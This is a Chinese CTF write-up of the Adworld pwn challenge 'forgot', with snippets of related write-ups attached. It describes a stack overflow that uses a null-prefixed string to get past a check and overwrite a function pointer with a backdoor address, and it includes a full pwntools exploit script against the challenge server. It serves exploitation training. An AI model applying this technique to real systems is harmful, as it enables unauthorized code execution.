[攻防世界 pwn]——forgot

题目地址: https://adworld.xctf.org.cn/
题目:

在checksec看下保护

在IDA中,

竟然有后面函数, 找到sub_80486CC函数地址

发现最后(*(&v3 + --v14))()执行
我们可以令v14 = 1这样就相当于v3所指向的函数执行
将v3所指向的函数地址覆盖为我们想要的函数地址就可以了
第一个栈溢出无法利用, 第二个可以利用

利用’\x00’开头的字符串绕过检查, v2距离v3 = 0x20

exploit

from pwn import *
p=remote("111.200.241.244",39247)
context.log_level = 'debug'
p.recvuntil("> ")
p.sendline('peak')
payload='\x00' + 'a'*(0x20 - 1)+p32(0x080486cc)
p.recvuntil("> ")
p.sendline(payload)
p.interactive()

[攻防世界 pwn]——forgot相关推荐

攻防世界 pwn forgot
下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的首先我们看一下题目的安全机制: 然后IDA看一下主函数: int __cdecl main() {siz ...
攻防世界pwn——forgot
分析 checksec IDA 直接搜flag找到sub_80486CC,有system,这肯定是我们要调用的函数了,函数地址0x080486CC int sub_80486CC() {char s[ ...
攻防世界(Pwn) forgot---栈溢出；(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
攻防世界(Pwn) forgot---栈溢出；(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
攻防世界 Pwn 进阶第一页
00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...
[攻防世界 pwn]——pwn1（内涵peak小知识）
[攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...
[攻防世界 pwn]——实时数据监测
[攻防世界 pwn]--实时数据监测题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中只要将key里面的值修改为35795746 ...
[攻防世界 pwn]——monkey
[攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的但是再IDA中就懵了,好大呀.好多 ...
[攻防世界 pwn]——反应釜开关控制
[攻防世界 pwn]--反应釜开关控制题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

[攻防世界 pwn]——forgot

[攻防世界 pwn]——forgot

exploit

[攻防世界 pwn]——forgot相关推荐

最新文章

热门文章